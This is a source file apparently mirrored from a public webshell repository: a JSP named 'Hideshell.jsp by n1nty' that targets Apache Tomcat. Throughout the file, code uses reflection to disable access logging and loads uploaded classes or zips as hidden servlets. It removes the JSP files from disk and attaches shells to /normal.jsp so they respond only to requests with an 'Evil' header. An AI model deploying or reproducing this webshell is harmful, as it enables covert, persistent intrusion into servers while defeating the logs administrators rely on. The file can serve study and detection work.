mirror of
https://github.com/tennc/webshell
synced 2024-11-25 12:40:17 +00:00
8898dbb7a6
from : https://github.com/jweny/MemShellDemo/blob/master/MemShellForJava/%E4%BB%BB%E6%84%8Fjsp%E9%9A%90%E8%97%8F/hideShell.jsp
393 lines
14 KiB
Text
393 lines
14 KiB
Text
<%@page import="java.awt.SystemColor"%>
|
|
<%@page import="org.apache.jasper.JspCompilationContext"%>
|
|
<%@page import="java.io.*"%>
|
|
<%@page import="java.util.*"%>
|
|
<%@page import="java.util.zip.*"%>
|
|
<%@ page import="javax.servlet.jsp.*"%>
|
|
<%@page import="org.apache.jasper.EmbeddedServletOptions"%>
|
|
<%@page import="org.apache.jasper.compiler.JspRuntimeContext"%>
|
|
<%@page import="org.apache.jasper.servlet.JspServletWrapper" %>
|
|
<%@page import="org.apache.catalina.valves.AccessLogValve"%>
|
|
<%@page import="org.apache.catalina.AccessLog"%>
|
|
<%@page import="org.apache.catalina.core.AccessLogAdapter"%>
|
|
<%@page import="org.apache.catalina.core.StandardHost"%>
|
|
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
|
|
<%@ page import="org.apache.catalina.core.StandardContext"%>
|
|
<%@ page language="java" contentType="text/html; charset=UTF-8"
|
|
pageEncoding="UTF-8"%>
|
|
<%@ page import="java.lang.reflect.*" %><%!
|
|
private static class AttachingWrapper extends JspServletWrapper {
|
|
private JspServletWrapper original = null;
|
|
private JspServletWrapper evil = null;
|
|
|
|
public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options,
|
|
String jspUri, JspRuntimeContext rctxt) {
|
|
super(config, options, jspUri, rctxt);
|
|
this.original = original;
|
|
this.evil = evil;
|
|
}
|
|
public void service(HttpServletRequest request,
|
|
HttpServletResponse response,
|
|
boolean precompile)
|
|
throws ServletException, IOException, FileNotFoundException {
|
|
if (request.getHeader("Evil") != null) {
|
|
try {
|
|
nolog(request);
|
|
} catch (Exception ex){}
|
|
this.evil.service(request, response, precompile);
|
|
} else {
|
|
this.original.service(request, response, precompile);
|
|
}
|
|
}
|
|
}
|
|
private static class SpyClassLoader extends ClassLoader{
|
|
private byte[] zipdata = null;
|
|
private JspWriter out = null;
|
|
private Map<String, byte[]> cls = new HashMap<String, byte[]>();
|
|
public SpyClassLoader(ClassLoader parent, byte[] zipdata, JspWriter out) throws Exception {
|
|
super(parent);
|
|
this.out = out;
|
|
this.zipdata = zipdata;
|
|
this.processZip();
|
|
}
|
|
private void processZip() throws Exception {
|
|
if (this.zipdata != null) {
|
|
ZipInputStream stream = null;
|
|
stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata));
|
|
byte[] buffer = new byte[2048];
|
|
ZipEntry entry;
|
|
while((entry = stream.getNextEntry())!=null)
|
|
{
|
|
|
|
ByteArrayOutputStream output = null;
|
|
try
|
|
{
|
|
output = new ByteArrayOutputStream();
|
|
int len = 0;
|
|
while ((len = stream.read(buffer)) > 0)
|
|
{
|
|
output.write(buffer, 0, len);
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
if(output!=null) output.close();
|
|
//this.out.println(entry.getName());
|
|
this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray());
|
|
}
|
|
}
|
|
stream.close();
|
|
}
|
|
}
|
|
protected Class<?> findClass(String name)
|
|
throws ClassNotFoundException {
|
|
byte[] clsdata = this.cls.get(name+".class");
|
|
if (clsdata != null) {
|
|
return super.defineClass(name, clsdata, 0, clsdata.length);
|
|
}
|
|
return null;
|
|
}
|
|
public Class defineClass(String name,byte[] b) {
|
|
return super.defineClass(name,b,0,b.length);
|
|
}
|
|
}
|
|
private static class UploadBean {
|
|
private ServletInputStream sis = null;
|
|
private OutputStream targetOutput = null;
|
|
private byte[] b = new byte[1024];
|
|
private String fileName = null;
|
|
public String getFileName() {
|
|
return this.fileName;
|
|
}
|
|
public void setTargetOutput(OutputStream stream) {
|
|
this.targetOutput = stream;
|
|
}
|
|
public UploadBean(OutputStream stream) {
|
|
this.setTargetOutput(stream);
|
|
}
|
|
|
|
public void parseRequest(HttpServletRequest request) throws IOException {
|
|
sis = request.getInputStream();
|
|
int a = 0;
|
|
int k = 0;
|
|
String s = "";
|
|
while ((a = sis.readLine(b,0,b.length))!= -1) {
|
|
s = new String(b, 0, a,"UTF-8");
|
|
if ((k = s.indexOf("filename=\""))!= -1) {
|
|
s = s.substring(k + 10);
|
|
k = s.indexOf("\"");
|
|
s = s.substring(0, k);
|
|
File tF = new File(s);
|
|
if (tF.isAbsolute()) {
|
|
fileName = tF.getName();
|
|
} else {
|
|
fileName = s;
|
|
}
|
|
k = s.lastIndexOf(".");
|
|
// suffix = s.substring(k + 1);
|
|
upload();
|
|
}
|
|
}
|
|
}
|
|
private void upload() throws IOException{
|
|
try {
|
|
OutputStream out = this.targetOutput;
|
|
|
|
int a = 0;
|
|
int k = 0;
|
|
String s = "";
|
|
while ((a = sis.readLine(b,0,b.length))!=-1) {
|
|
s = new String(b, 0, a);
|
|
if ((k = s.indexOf("Content-Type:"))!=-1) {
|
|
break;
|
|
}
|
|
}
|
|
sis.readLine(b,0,b.length);
|
|
while ((a = sis.readLine(b,0,b.length)) != -1) {
|
|
s = new String(b, 0, a);
|
|
if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
|
|
break;
|
|
}
|
|
out.write(b, 0, a);
|
|
}
|
|
out.close();
|
|
//if (out instanceof FileOutputStream)
|
|
//out.close();
|
|
} catch (IOException ioe) {
|
|
throw ioe;
|
|
}
|
|
}
|
|
}
|
|
private static final Map<String, JspServletWrapper> hiddenWrappers = new HashMap<String, JspServletWrapper>();
|
|
public static String makeWrapperUri(HttpServletRequest request) {
|
|
String uri = request.getServletPath();
|
|
String pathinfo = request.getPathInfo();
|
|
if (pathinfo != null) {
|
|
uri += pathinfo;
|
|
}
|
|
return uri;
|
|
}
|
|
public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) {
|
|
JspServletWrapper wrapper = getHideShellWrapper(request, jctxt);
|
|
String requestUri = makeWrapperUri(request);
|
|
if (!wrapper.getJspUri().equals(requestUri)) {
|
|
return false;
|
|
}
|
|
return true;
|
|
}
|
|
public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
|
JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request));
|
|
if (wrapper != null) {
|
|
wrapper.service(request, response, false);
|
|
} else {
|
|
response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen");
|
|
}
|
|
}
|
|
public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) {
|
|
String wrapperUri = makeWrapperUri(request);
|
|
JspServletWrapper self = jctxt.getWrapper(wrapperUri);
|
|
return self;
|
|
}
|
|
public static void hideWrapper(JspServletWrapper wrapper) throws Exception {
|
|
wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
|
|
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
|
EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
|
|
if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
|
|
setFieldValue(jspServletOptions, "modificationTestInterval", 1);
|
|
}
|
|
}
|
|
public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception {
|
|
Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes);
|
|
m.setAccessible(true);
|
|
return m.invoke(obj, args);
|
|
}
|
|
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
|
Field f = obj.getClass().getDeclaredField(fieldName);
|
|
f.setAccessible(true);
|
|
return f.get(obj);
|
|
}
|
|
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
|
|
Field f = obj.getClass().getDeclaredField(fieldName);
|
|
f.setAccessible(true);
|
|
if (Modifier.isFinal(f.getModifiers())) {
|
|
//reset final field
|
|
Field modifiersField = Field.class.getDeclaredField("modifiers");
|
|
modifiersField.setAccessible(true);
|
|
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
|
|
}
|
|
f.set(obj, value);
|
|
}
|
|
public static String makeHiddenName(String wrapperName) {
|
|
int lastIndex = wrapperName.lastIndexOf('/');
|
|
return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1);
|
|
}
|
|
public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) {
|
|
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
|
if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) {
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
public static void nolog(HttpServletRequest request) throws Exception {
|
|
ServletContext ctx = request.getSession().getServletContext();
|
|
ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context");
|
|
StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context");
|
|
|
|
StandardHost host = (StandardHost)standardCtx.getParent();
|
|
AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog();
|
|
|
|
AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs");
|
|
for(AccessLog log:logs) {
|
|
AccessLogValve logV = (AccessLogValve)log;
|
|
String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition();
|
|
logV.setCondition(condition);
|
|
request.setAttribute(condition, "n1nty_nolog");
|
|
}
|
|
}
|
|
%><%
|
|
nolog(request);
|
|
Object r = getFieldValue(request, "request");
|
|
Object filterChain = getFieldValue(r, "filterChain");
|
|
Object servlet = getFieldValue(filterChain, "servlet");
|
|
JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt");
|
|
if (!accessingSelf(request, jctxt)) {
|
|
includeHiddenShell(request, response);
|
|
return;
|
|
}
|
|
%>
|
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
|
<title>Hideshell.jsp by n1nty</title>
|
|
</head>
|
|
<body>
|
|
|
|
<ul>
|
|
<%
|
|
String action = request.getParameter("action");
|
|
if ("upload".equals(action)) {
|
|
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
|
|
UploadBean upload = new UploadBean(byteout);
|
|
upload.parseRequest(request);
|
|
boolean zip = upload.getFileName().endsWith(".zip");
|
|
String path = !zip ? "/test.jsp" : "/jspspy2010.jsp";
|
|
String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp";
|
|
javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
|
|
org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
|
|
JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt);
|
|
hideWrapper(wrapper);
|
|
wrapper.setReload(false);
|
|
byte[] data = byteout.toByteArray();
|
|
byte[] bytes = new byte[data.length -2];
|
|
System.arraycopy(data, 0, bytes, 0, data.length -2);
|
|
Class cls = null;
|
|
if (zip) {
|
|
cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName);
|
|
} else {
|
|
cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes);
|
|
}
|
|
if (cls != null) {
|
|
Servlet s = (Servlet)cls.newInstance();
|
|
s.init(servletConfig);
|
|
setFieldValue(wrapper, "theServlet", s);
|
|
jctxt.addWrapper(path, getHideShellWrapper(request, jctxt));
|
|
hiddenWrappers.put(path, wrapper);
|
|
} else {
|
|
out.println("no class");
|
|
}
|
|
|
|
|
|
}
|
|
if (action == null || action.equals("list") || action.equals("upload")) {
|
|
Map<String, JspServletWrapper> jsps = (Map<String, JspServletWrapper>)getFieldValue(jctxt, "jsps");
|
|
for (Map.Entry<String, JspServletWrapper> entry : jsps.entrySet()) {
|
|
JspServletWrapper wrapper = entry.getValue();
|
|
%>
|
|
<li>
|
|
<%
|
|
if (isHiddenJsp(request, entry.getKey(), wrapper)) {
|
|
%>
|
|
<a href='<%=entry.getKey() %>'> <%=entry.getKey() %></a> possible hidden file, <a href='?action=delete&wrapperName=<%=entry.getKey() %>'> Delete </a>
|
|
<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
|
|
<%
|
|
} else {
|
|
%>
|
|
<a href='?action=hide&wrapperName=<%=entry.getKey() %>'>Hide <%=entry.getKey() %></a>
|
|
<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
|
|
<%
|
|
}
|
|
%>
|
|
</li>
|
|
<%
|
|
}
|
|
} else if (action.equals("hide")) {
|
|
String wrapperName = request.getParameter("wrapperName");
|
|
String hiddenWrapperName = makeHiddenName(wrapperName);
|
|
if (jctxt.getWrapper(hiddenWrapperName) == null) {
|
|
JspServletWrapper wrapper = jctxt.getWrapper(wrapperName);
|
|
|
|
hideWrapper(wrapper);
|
|
/*
|
|
wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
|
|
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
|
EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
|
|
if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
|
|
setFieldValue(jspServletOptions, "modificationTestInterval", 1);
|
|
}*/
|
|
|
|
wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles();
|
|
|
|
if (wrapper == getHideShellWrapper(request, jctxt)) {
|
|
// is hiding hideshell.jsp itself
|
|
setFieldValue(wrapper, "jspUri", hiddenWrapperName);
|
|
jctxt.addWrapper(hiddenWrapperName, wrapper);
|
|
} else {
|
|
jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt));
|
|
hiddenWrappers.put(hiddenWrapperName, wrapper);
|
|
}
|
|
|
|
jctxt.removeWrapper(wrapperName);
|
|
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
|
new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
|
|
}
|
|
out.println("done");
|
|
} else if (action.equals("delete")) {
|
|
String wrapperName = request.getParameter("wrapperName");
|
|
jctxt.removeWrapper(wrapperName);
|
|
hiddenWrappers.remove(wrapperName);
|
|
out.println("done");
|
|
|
|
} else if (action.equals("attach")) {
|
|
String wrapperName = request.getParameter("wrapperName");
|
|
String attachto = "/normal.jsp";
|
|
JspServletWrapper original = jctxt.getWrapper(attachto);
|
|
if (original == null) {
|
|
out.println("access /normal.jsp first");
|
|
return;
|
|
}
|
|
JspServletWrapper evil = jctxt.getWrapper(wrapperName);
|
|
javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
|
|
org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
|
|
AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt);
|
|
hideWrapper(attachingWrapper);
|
|
attachingWrapper.setReload(false);
|
|
hideWrapper(evil);
|
|
jctxt.removeWrapper(wrapperName);
|
|
jctxt.removeWrapper(attachto);
|
|
jctxt.addWrapper(attachto, attachingWrapper);
|
|
JspCompilationContext ctxt = evil.getJspEngineContext();
|
|
new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
|
|
// jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt));
|
|
// hiddenWrappers.put(attachto, attachingWrapper);
|
|
}
|
|
%>
|
|
</ul>
|
|
|
|
<form action="?action=upload" method="post" enctype="multipart/form-data">
|
|
<input type="file" name="fff">
|
|
<input type="submit">
|
|
</form>
|
|
|
|
</body>
|
|
</html>
|